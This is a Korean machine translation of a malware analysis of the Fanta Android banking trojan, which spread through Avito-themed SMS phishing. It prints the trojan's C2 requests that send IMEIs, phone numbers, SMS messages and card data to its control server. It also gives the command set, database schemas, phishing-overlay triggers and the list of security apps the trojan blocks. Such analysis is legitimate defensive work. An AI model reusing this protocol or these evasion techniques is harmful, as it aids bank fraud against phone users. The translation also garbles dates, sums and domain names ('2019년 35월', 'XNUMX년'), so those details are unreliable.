Leisya, Fanta: 기존 Android 트로이 목마의 새로운 전술

어느 날 Avito에서 무언가를 판매하려고 하는데 제품에 대한 자세한 설명(예: RAM 모듈)을 게시한 후 다음 메시지를 받게 됩니다.

링크를 열면 겉으로는 무해해 보이는 페이지가 표시되어 행복하고 성공적인 판매자에게 구매가 이루어졌음을 알리는 페이지가 표시됩니다.

"계속" 버튼을 클릭하면 아이콘과 신뢰를 주는 이름이 포함된 APK 파일이 Android 기기에 다운로드됩니다. 어떤 이유로 AccessibilityService 권한을 요청하는 애플리케이션을 설치한 후 몇 개의 창이 나타났다가 빠르게 사라졌습니다. 그게 전부입니다.

잔액을 확인하러 갔는데 어떤 이유에서인지 뱅킹 앱에서 카드 정보를 다시 요청합니다. 데이터를 입력한 후 끔찍한 일이 발생합니다. 어떤 이유로 아직 명확하지 않은 이유로 계정에서 돈이 사라지기 시작합니다. 문제를 해결하려고 노력 중이지만 휴대전화가 저항합니다. '뒤로' 및 '홈' 키를 누르고 전원이 꺼지지 않으며 보안 조치를 활성화할 수 없습니다. 결과적으로 귀하는 돈도 없고 상품도 구매하지 않았으며 혼란스럽고 궁금해합니다. 무슨 일이 일어났습니까?

대답은 간단합니다. 귀하는 Flexnet 제품군에 속하는 Android 트로이 목마 Fanta의 피해자가 되었습니다. 어떻게 이런일이 일어 났습니까? 이제 설명하겠습니다.

저자 : 안드레이 폴로빈킨, 악성코드 분석 주니어 전문가, 이반 피사레프, 악성 코드 분석 전문가입니다.

일부 통계

Android 트로이 목마의 Flexnet 계열은 2015년에 처음으로 알려졌습니다. 상당히 오랜 기간 동안 활동하면서 가족은 Fanta, Limebot, Lipton 등 여러 아종으로 확장되었습니다. 트로이 목마 및 이와 관련된 인프라는 가만히 있지 않습니다. 새롭고 효과적인 배포 계획이 개발되고 있습니다. 우리의 경우에는 특정 사용자-판매자를 겨냥한 고품질 피싱 페이지가 있으며 트로이 목마 개발자는 최신 트렌드를 따릅니다. 바이러스 쓰기 - 감염된 장치에서 보다 효율적으로 돈을 훔치고 보호 메커니즘을 우회할 수 있는 새로운 기능을 추가합니다.

이 문서에 설명된 캠페인은 러시아 사용자를 대상으로 하며 우크라이나에서는 감염된 장치 수가 적고 카자흐스탄과 벨로루시에서는 더 적은 수의 감염된 장치가 기록되었습니다.

Flexnet은 현재 4년 넘게 Android 트로이 목마 분야에 있었고 많은 연구원들에 의해 자세히 연구되었지만 여전히 좋은 상태를 유지하고 있습니다. 2019년 35월부터 잠재적 피해 금액은 2015만 루블이 넘습니다. 이는 러시아 캠페인에만 적용됩니다. XNUMX년에 이 Android 트로이 목마의 다양한 버전이 지하 포럼에서 판매되었으며, 여기에서 자세한 설명과 함께 트로이 목마의 소스 코드도 찾을 수 있습니다. 이는 세계의 피해 통계가 더욱 인상적이라는 것을 의미합니다. 그런 노인에게는 나쁜 지표가 아니죠?

판매부터 사기까지

이전에 공개된 광고 게시를 위한 인터넷 서비스 Avito의 피싱 페이지 스크린샷에서 볼 수 있듯이 특정 피해자를 위해 준비되었습니다. 분명히 공격자는 Avito의 파서 중 하나를 사용하여 판매자의 전화번호와 이름, 제품 설명을 추출합니다. 페이지를 확장하고 APK 파일을 준비한 후 피해자에게는 자신의 이름과 제품 설명 및 제품 '판매'로 받은 금액이 포함된 피싱 페이지 링크가 포함된 SMS가 전송됩니다. 버튼을 클릭하면 사용자는 악성 APK 파일인 Fanta를 받게 됩니다.

shcet491[.]ru 도메인에 대한 연구에 따르면 Hostinger의 DNS 서버에 위임된 것으로 나타났습니다.

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

도메인 영역 파일에는 IP 주소 31.220.23[.]236, 31.220.23[.]243 및 31.220.23[.]235를 가리키는 항목이 포함되어 있습니다. 그러나 도메인의 기본 리소스 레코드(A 레코드)는 IP 주소가 178.132.1[.]240인 서버를 가리킵니다.

IP 주소 178.132.1[.]240은 네덜란드에 있으며 호스팅 업체에 속합니다. 월드스트림. IP 주소 31.220.23[.]235, 31.220.23[.]236 및 31.220.23[.]243은 영국에 있으며 공유 호스팅 서버 HOSTINGER에 속합니다. 녹음기로 사용 openprov-ru. 다음 도메인도 IP 주소 178.132.1[.]240으로 확인되었습니다.

• 스델카루[.]ru
• 토바르-av[.]ru
• av-tovar[.]ru
• 루-스델카[.]ru
• shcet382[.]ru
• sdelka221[.]루
• sdelka211[.]루
• vyplata437[.]ru
• viplata291[.]루
• perevod273[.]루
• perevod901[.]루

다음 형식의 링크는 거의 모든 도메인에서 사용할 수 있습니다.

http://(www.){0,1}<%domain%>/[0-9]{7}

이 템플릿에는 SMS 메시지의 링크도 포함되어 있습니다. 기록 데이터에 따르면 하나의 도메인이 위에 설명된 패턴의 여러 링크에 해당하는 것으로 나타났습니다. 이는 하나의 도메인이 여러 피해자에게 트로이 목마를 배포하는 데 사용되었음을 나타냅니다.

조금 더 나아가 보겠습니다. SMS의 링크를 통해 다운로드된 트로이 목마는 해당 주소를 제어 서버로 사용합니다. onusedseddohap[.]클럽. 이 도메인은 2019-03-12에 등록되었으며 2019-04-29부터 APK 애플리케이션이 이 도메인과 상호 작용했습니다. VirusTotal에서 얻은 데이터에 따르면 총 109개의 애플리케이션이 이 서버와 상호 작용했습니다. 도메인 자체가 IP 주소로 확인되었습니다. 217.23.14[.]27, 네덜란드에 위치하며 호스팅 업체 소유 월드스트림. 녹음기로 사용 명명. 도메인도 이 IP 주소로 확인되었습니다. 나쁜 너구리[.]클럽 (2018-09-25부터 시작) 및 나쁜 너구리[.] 라이브 (2018-10-25부터 시작). 도메인 포함 나쁜 너구리[.]클럽 80개 이상의 APK 파일이 상호작용함 나쁜 너구리[.] 라이브 - 100개 이상.

일반적으로 공격은 다음과 같이 진행됩니다.

환타의 뚜껑 밑에는 무엇이 들어있나요?

다른 많은 Android 트로이 목마와 마찬가지로 Fanta는 SMS 메시지를 읽고 보내고, USSD를 요청하고, 애플리케이션(뱅킹 애플리케이션 포함) 위에 자체 창을 표시할 수 있습니다. 그러나 이 제품군의 다양한 기능이 출시되었습니다. Fanta는 다음과 같은 기능을 사용하기 시작했습니다. 접근성 서비스 다양한 목적: 다른 애플리케이션의 알림 내용 읽기, 감염된 장치에서 트로이 목마 탐지 방지 및 실행 중지 등 Fanta는 4.4 이상의 모든 Android 버전에서 작동합니다. 이 기사에서는 다음 Fanta 샘플을 자세히 살펴보겠습니다.

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

출시 직후

트로이 목마는 실행 직후 아이콘을 숨깁니다. 애플리케이션은 감염된 장치의 이름이 목록에 없는 경우에만 작동할 수 있습니다.

• android_x86
• 버추얼
• 넥서스 5X(불헤드)
• 넥서스 5(면도기)

이 검사는 트로이 목마의 주요 서비스에서 수행됩니다. 메인서비스. 처음 실행되면 애플리케이션의 구성 매개변수가 기본값으로 초기화되고(구성 데이터를 저장하는 형식과 그 의미는 나중에 설명됨) 새로운 감염된 장치가 제어 서버에 등록됩니다. 메시지 유형이 포함된 HTTP POST 요청이 서버로 전송됩니다. 레지스터_봇 및 감염된 기기에 대한 정보(안드로이드 버전, IMEI, 전화번호, 사업자 이름, 사업자가 등록된 국가 코드). 주소는 제어 서버 역할을 합니다. hXXp://onuseseddohap[.]club/controller.php. 이에 대한 응답으로 서버는 필드가 포함된 메시지를 보냅니다. 봇_ID, bot_pwd, 섬기는 사람 — 애플리케이션은 이러한 값을 CnC 서버의 매개변수로 저장합니다. 매개변수 섬기는 사람 필드가 수신되지 않은 경우 선택 사항: Fanta는 등록 주소를 사용합니다. hXXp://onuseseddohap[.]club/controller.php. CnC 주소 변경 기능을 사용하면 두 가지 문제를 해결할 수 있습니다. 여러 서버에 부하를 균등하게 분산하는 것(감염된 장치 수가 많으면 최적화되지 않은 웹 서버의 부하가 높아질 수 있음) CnC 서버 중 하나에 장애가 발생한 경우 대체 서버.

요청을 보내는 동안 오류가 발생하면 트로이 목마는 20초 후에 등록 프로세스를 반복합니다.

장치가 성공적으로 등록되면 Fanta는 사용자에게 다음 메시지를 표시합니다.

중요 참고 사항: 시스템 보안 — 트로이 목마 서비스 이름 및 버튼 클릭 후 OK 사용자가 악성 서비스에 대한 접근성 권한을 부여해야 하는 감염된 장치의 접근성 설정이 포함된 창이 열립니다.

사용자가 전원을 켜자마자 접근성 서비스, Fanta는 애플리케이션 창의 내용과 그 창에서 수행되는 작업에 대한 액세스 권한을 얻습니다.

접근성 권한을 받은 후 즉시 트로이 목마는 관리자 권한과 알림 읽기 권한을 요청합니다.

AccessibilityService를 사용하여 애플리케이션은 키 입력을 시뮬레이션하여 필요한 모든 권한을 자체적으로 부여합니다.

Fanta는 구성 데이터와 감염된 장치에 대한 프로세스에서 수집된 정보를 저장하는 데 필요한 여러 데이터베이스 인스턴스(나중에 설명됨)를 생성합니다. 수집된 정보를 보내기 위해 트로이 목마는 데이터베이스에서 필드를 다운로드하고 제어 서버로부터 명령을 받도록 설계된 반복 작업을 만듭니다. CnC에 접속하는 간격은 안드로이드 버전에 따라 설정됩니다. 5.1의 경우 간격은 10초, 그 외의 경우 60초입니다.

명령을 받기 위해 환타는 요청을 합니다. GetTask 관리 서버에. 이에 대한 응답으로 CnC는 다음 명령 중 하나를 보낼 수 있습니다.

팀	기술
0	SMS 메시지 보내기
1	전화를 걸거나 USSD 명령을 내리세요
2	매개변수 업데이트 간격
3	매개변수 업데이트 차단
6	매개변수 업데이트 SMS관리자
9	SMS 메시지 수집 시작
11	전화기를 공장 설정으로 재설정
12	대화 상자 생성 로깅 활성화/비활성화

Fanta는 또한 70개의 은행 앱, 빠른 결제 시스템 및 전자 지갑에서 알림을 수집하여 데이터베이스에 저장합니다.

구성 매개변수 저장

구성 매개변수를 저장하기 위해 Fanta는 Android 플랫폼에 대한 표준 접근 방식을 사용합니다. 환경 설정-파일. 설정은 다음과 같은 파일에 저장됩니다. 설정. 저장된 매개변수에 대한 설명은 아래 표와 같습니다.

이름	기본값	가능한 값	기술
id	0	정수	봇 ID
섬기는 사람	hXXp://onuseseddohap[.]클럽/	URL	제어 서버 주소
pwd	-	끈	서버 비밀번호
간격	20	정수	시간 간격. 다음 작업을 연기해야 ​​하는 기간을 나타냅니다. 보낸 SMS 메시지의 상태에 대한 요청을 보낼 때 관리 서버로부터 새 명령 수신
차단	모든	모두/전화번호	필드가 문자열과 동일한 경우 모든 또는 전화번호, 수신된 SMS 메시지는 애플리케이션에 의해 가로채어 사용자에게 표시되지 않습니다.
SMS관리자	0	0/1	애플리케이션을 기본 SMS 수신자로 활성화/비활성화
읽기대화상자	그릇된	허위 사실	이벤트 로깅 활성화/비활성화 접근성이벤트

Fanta도 파일을 사용합니다. SMS관리자:

이름	기본값	가능한 값	기술
PCkg	-	끈	사용된 SMS 메시지 관리자의 이름

데이터베이스와의 상호작용

작업 중에 트로이 목마는 두 개의 데이터베이스를 사용합니다. 이름이 지정된 데이터베이스 a 휴대폰에서 수집된 다양한 정보를 저장하는데 사용됩니다. 두 번째 데이터베이스의 이름은 다음과 같습니다. fanta.db 은행 카드 정보를 수집하도록 설계된 피싱 창 생성을 담당하는 설정을 저장하는 데 사용됩니다.

트로이 목마는 데이터베이스를 사용합니다. а 수집된 정보를 저장하고 귀하의 활동을 기록합니다. 데이터는 테이블에 저장됩니다. 로그. 테이블을 생성하려면 다음 SQL 쿼리를 사용하세요.

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

데이터베이스에는 다음 정보가 포함되어 있습니다.

1. 감염된 장치의 시작을 메시지와 함께 기록 전화가 켜졌습니다!

2. 애플리케이션의 알림. 메시지는 다음 템플릿에 따라 생성됩니다.

(<%App Name%>)<%Title%>: <%Notification text%>

3. 트로이 목마가 생성한 피싱 양식의 은행 카드 데이터. 매개변수 VIEW_NAME 다음 중 하나일 수 있습니다.

• AliExpress
• 아 피트 토
• 구글 플레이
• 기타 <%앱 이름%>

메시지는 다음 형식으로 기록됩니다.

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. 다음 형식의 수신/발신 SMS 메시지:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. 다음 형식으로 대화 상자를 생성하는 패키지에 대한 정보:

(<%Package name%>)<%Package information%>

예시 테이블 로그:

Fanta의 기능 중 하나는 은행 카드에 대한 정보를 수집하는 것입니다. 은행 애플리케이션 실행 시 피싱 창구 생성을 통해 데이터 수집이 이루어집니다. 트로이 목마는 피싱 창을 한 번만 생성합니다. 해당 창이 사용자에게 보여졌던 정보를 테이블에 저장 설정 데이터베이스에서 fanta.db. 데이터베이스를 생성하려면 다음 SQL 쿼리를 사용하십시오.

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

모든 테이블 필드 설정 기본적으로 1로 초기화됩니다(피싱 창 생성). 사용자가 데이터를 입력하면 값은 0으로 설정됩니다. 테이블 필드의 예 설정:

• can_login — 해당 필드는 은행 애플리케이션을 열 때 양식을 표시하는 역할을 담당합니다.
• 첫 번째_은행 - 사용되지 않음
• can_avito — 해당 필드는 Avito 애플리케이션을 열 때 양식을 표시하는 역할을 담당합니다.
• can_ali — 해당 필드는 Aliexpress 애플리케이션을 열 때 양식을 표시하는 역할을 담당합니다.
• can_another — 해당 필드는 목록에서 애플리케이션을 열 때 양식을 표시하는 역할을 담당합니다. 율라, 판다오, 드롬오토, 월렛. 할인 및 보너스 카드, Aviasales, 예약, Trivago
• can_card — 필드는 열 때 양식을 표시하는 역할을 담당합니다. 구글 플레이

관리 서버와의 상호 작용

관리 서버와의 네트워크 상호 작용은 HTTP 프로토콜을 통해 발생합니다. 네트워크 작업을 위해 Fanta는 인기 있는 Retrofit 라이브러리를 사용합니다. 요청은 다음 주소로 전송됩니다. hXXp://onuseseddohap[.]club/controller.php. 서버 주소는 서버 등록 시 변경될 수 있습니다. 쿠키는 서버의 응답으로 전송될 수 있습니다. Fanta는 서버에 다음과 같은 요청을 보냅니다.

• 제어 서버에 봇 등록은 처음 시작할 때 한 번 발생합니다. 감염된 장치에 대한 다음 데이터가 서버로 전송됩니다.
  · 쿠키 — 서버에서 받은 쿠키(기본값은 빈 문자열)
  · 모드 — 문자열 상수 레지스터_봇
  · 접두사 — 정수 상수 2
  · 버전_sdk — 다음 템플릿에 따라 구성됩니다. <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · 예 — 감염된 장치의 IMEI
  · 국가 — 운영자가 등록된 국가 코드(ISO 형식)
  · 번호 - 전화 번호
  · 연산자 — 운영자 이름

  서버로 전송된 요청의 예:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  요청에 대한 응답으로 서버는 다음 매개변수가 포함된 JSON 객체를 반환해야 합니다.
  · 봇_ID — 감염된 장치의 ID입니다. bot_id가 0이면 Fanta는 요청을 다시 실행합니다.
  bot_pwd — 서버의 비밀번호.
  섬기는 사람 — 제어 서버 주소. 선택적 매개변수. 매개변수를 지정하지 않으면 애플리케이션에 저장된 주소가 사용됩니다.

  예제 JSON 객체:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• 서버로부터 명령을 받기 위해 요청합니다. 다음 데이터가 서버로 전송됩니다.
  · 쿠키 — 서버로부터 받은 쿠키
  · 입찰 — 요청을 보낼 때 받은 감염된 장치의 ID 레지스터_봇
  · pwd —서버의 비밀번호
  · divice_admin — 이 필드는 관리자 권한을 얻었는지 여부를 결정합니다. 관리자 권한을 얻은 경우 해당 필드는 다음과 같습니다. 1그렇지 않으면 0
  · 접근 용이성 — 접근성 서비스 운영 상태입니다. 서비스가 시작된 경우 값은 다음과 같습니다. 1그렇지 않으면 0
  · SMS관리자 — 트로이 목마가 SMS 수신을 위한 기본 응용 프로그램으로 활성화되어 있는지 여부를 표시합니다.
  · 화면 — 화면의 상태를 표시합니다. 값이 설정됩니다. 1, 화면이 켜져 있으면 그렇지 않으면 0;

  서버로 전송된 요청의 예:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  명령에 따라 서버는 다양한 매개변수를 사용하여 JSON 개체를 반환할 수 있습니다.

  · 팀 SMS 메시지 보내기: 매개변수에는 전화번호, SMS 메시지 내용, 전송되는 메시지 ID가 포함됩니다. 식별자는 유형을 사용하여 서버에 메시지를 보낼 때 사용됩니다. setSms상태.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · 팀 전화를 걸거나 USSD 명령을 내리세요: 전화번호나 명령어가 응답 본문에 들어옵니다.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · 팀 간격 매개변수 변경.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · 팀 인터셉트 매개변수 변경.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · 팀 SmsManager 필드 변경.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · 팀 감염된 장치에서 SMS 메시지 수집.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · 팀 전화기를 공장 설정으로 재설정:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · 팀 ReadDialog 매개변수 변경.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• 유형을 사용하여 메시지 보내기 setSms상태. 이 요청은 명령이 실행된 후에 이루어집니다. SMS 메시지 보내기. 요청은 다음과 같습니다.

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• 데이터베이스 콘텐츠를 업로드하는 중입니다. 요청당 하나의 행이 전송됩니다. 다음 데이터가 서버로 전송됩니다.
  · 쿠키 — 서버로부터 받은 쿠키
  · 모드 — 문자열 상수 setSave받은 편지함Sms
  · 입찰 — 요청을 보낼 때 받은 감염된 장치의 ID 레지스터_봇
  · 본문 — 현재 데이터베이스 레코드의 텍스트(필드 d 테이블에서 로그 데이터베이스에서 а)
  · 번호 — 현재 데이터베이스 레코드의 이름(필드 p 테이블에서 로그 데이터베이스에서 а)
  · SMS_모드 — 정수 값(필드 m 테이블에서 로그 데이터베이스에서 а)

  요청은 다음과 같습니다.

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  서버에 성공적으로 전송되면 해당 행이 테이블에서 삭제됩니다. 서버에서 반환된 JSON 개체의 예:

  {
      "response":[],
      "status":"ok"
  }

AccessibilityService와 상호작용

장애인이 Android 기기를 더 쉽게 사용할 수 있도록 AccessibilityService가 구현되었습니다. 대부분의 경우 애플리케이션과 상호 작용하려면 물리적 상호 작용이 필요합니다. AccessibilityService를 사용하면 프로그래밍 방식으로 이러한 작업을 수행할 수 있습니다. Fanta는 이 서비스를 사용하여 뱅킹 애플리케이션에 가짜 창을 만들고 사용자가 시스템 설정 및 일부 애플리케이션을 열지 못하게 합니다.

트로이 목마는 AccessibilityService의 기능을 사용하여 감염된 장치 화면의 요소 변경 사항을 모니터링합니다. 이전에 설명한 대로 Fanta 설정에는 대화 상자를 통한 작업 로깅을 담당하는 매개변수가 포함되어 있습니다. 읽기대화상자. 이 매개변수를 설정하면 이벤트를 트리거한 패키지의 이름 및 설명에 대한 정보가 데이터베이스에 추가됩니다. 트로이 목마는 이벤트가 트리거되면 다음 작업을 수행합니다.

• 다음과 같은 경우 뒤로 및 홈 키 누르기를 시뮬레이션합니다.
  · 사용자가 기기를 재부팅하려는 경우
  · 사용자가 "Avito" 애플리케이션을 삭제하거나 접근 권한을 변경하려는 경우
  · 페이지에 "Avito" 애플리케이션에 대한 언급이 있는 경우
  · Google Play Protect 애플리케이션을 열 때
  · AccessibilityService 설정이 있는 페이지를 열 때
  · 시스템 보안 대화 상자가 나타날 때
  · "다른 앱 위에 그리기" 설정으로 페이지를 열 때
  · "응용 프로그램" 페이지를 열면 "복구 및 재설정", "데이터 재설정", "설정 재설정", "개발자 패널", "특수. 기회”, “특별한 기회”, “특별한 권리”
  · 이벤트가 특정 애플리케이션에 의해 생성된 경우.

  애플리케이션 목록

  • 기계적 인조 인간
  • 마스터 라이트
  • 클린 마스터
  • x86 CPU용 클린 마스터
  • Meizu 애플리케이션 권한 관리
  • MIUI 보안
  • Clean Master - 바이러스 백신, 캐시 및 가비지 클리너
  • 자녀 보호 기능 및 GPS: Kaspersky SafeKids
  • Kaspersky Antivirus AppLock 및 웹 보안 베타
  • 바이러스 클리너, 바이러스 백신, 클리너(MAX Security)
  • 모바일 안티바이러스 보안 PRO
  • Avast 바이러스 백신 및 무료 보호 2019
  • 모바일 보안 MegaFon
  • Xperia용 AVG 보호
  • 모바일 보안
  • Malwarebytes 바이러스 백신 및 보호
  • Android 2019용 바이러스 백신
  • Security Master - 바이러스 백신, VPN, AppLock, 부스터
  • Huawei 태블릿 시스템 관리자용 AVG 바이러스 백신
  • 삼성 접근성
  • 삼성 스마트 매니저
  • 보안 마스터
  • 스피드 부스터
  • 닥터 웹
  • Dr.Web 보안 스페이스
  • Dr.Web 모바일 관제센터
  • Dr.Web 보안 공간생활
  • Dr.Web 모바일 관제센터
  • 바이러스 백신 및 모바일 보안
  • Kaspersky Internet Security: 바이러스 백신 및 보호
  • Kaspersky 배터리 수명: 세이버 및 부스터
  • Kaspersky Endpoint Security - 보호 및 관리
  • AVG Antivirus 무료 2019 – Android용 보호
  • 안드로이드 바이러스 백신
  • 노턴 모바일 보안 및 안티 바이러스
  • 바이러스 백신, 방화벽, VPN, 모바일 보안
  • 모바일 보안: 바이러스 백신, VPN, 도난 방지
  • Android용 바이러스 백신

• 짧은 번호로 SMS 메시지를 보낼 때 권한이 요청되면 환타는 체크박스 클릭을 시뮬레이션합니다. 선택 기억하기 그리고 버튼 отправить.
• 트로이 목마에서 관리자 권한을 빼앗으려고 하면 전화기 화면이 잠깁니다.
• 새 관리자 추가를 방지합니다.
• 바이러스 백신 응용 프로그램인 경우 닥터웹 위협을 감지하면 환타는 버튼 누르는 흉내를 냅니다. 무시하다.
• 트로이 목마는 이벤트가 애플리케이션에 의해 생성된 경우 뒤로 및 홈 버튼 누르기를 시뮬레이션합니다. 삼성 디바이스 케어.
• Fanta는 약 30개 인터넷 서비스 목록의 애플리케이션이 실행되는 경우 은행 카드 정보를 입력하기 위한 양식이 포함된 피싱 창을 만듭니다. 그중에는 AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto 등이 있습니다.
  

  피싱 형태

  Fanta는 감염된 장치에서 어떤 애플리케이션이 실행되고 있는지 분석합니다. 관심 있는 애플리케이션이 열리면 트로이 목마는 다른 모든 애플리케이션 위에 은행 카드 정보를 입력하는 양식인 피싱 창을 표시합니다. 사용자는 다음 데이터를 입력해야 합니다.

  • 카드 번호
  • 카드 만기 날짜
  • CVV
  • 카드 소지자 이름(모든 은행에 해당되는 것은 아님)

  실행 중인 애플리케이션에 따라 다양한 피싱 창이 표시됩니다. 다음은 그 중 일부 예입니다.

  알리 익스프레스:

  
  Avito :

  
  다른 응용 프로그램의 경우, 예를 들어 Google Play 마켓, Aviasales, Pandao, 예약, Trivago:
  

  정말 어땠나요
  

  다행스럽게도 기사 시작 부분에 설명된 SMS 메시지를 받은 사람은 사이버 보안 전문가로 밝혀졌습니다. 따라서 실제 감독이 아닌 버전은 앞서 말한 버전과 다릅니다. 한 사람이 흥미로운 SMS를 받은 후 이를 Group-IB Threat Hunting Intelligence 팀에 전달했습니다. 공격 결과는 이 글입니다. 해피엔딩이죠? 그러나 모든 이야기가 성공적으로 끝나는 것은 아니며 돈 손실로 인해 감독판처럼 보이지 않도록 대부분의 경우 다음과 같은 오랫동안 설명된 규칙을 준수하는 것으로 충분합니다.

  • Google Play 이외의 소스에서 Android OS가 설치된 모바일 장치용 애플리케이션을 설치하지 마세요.
  • 애플리케이션을 설치할 때 애플리케이션에서 요청하는 권리에 특히 주의하세요.
  • 다운로드한 파일의 확장자에 주의하세요
  • 정기적으로 Android OS 업데이트를 설치하세요.
  • 의심스러운 리소스를 방문하지 말고 거기에서 파일을 다운로드하지 마십시오
  • SMS 메시지로 받은 링크를 클릭하지 마십시오.

출처 : habr.com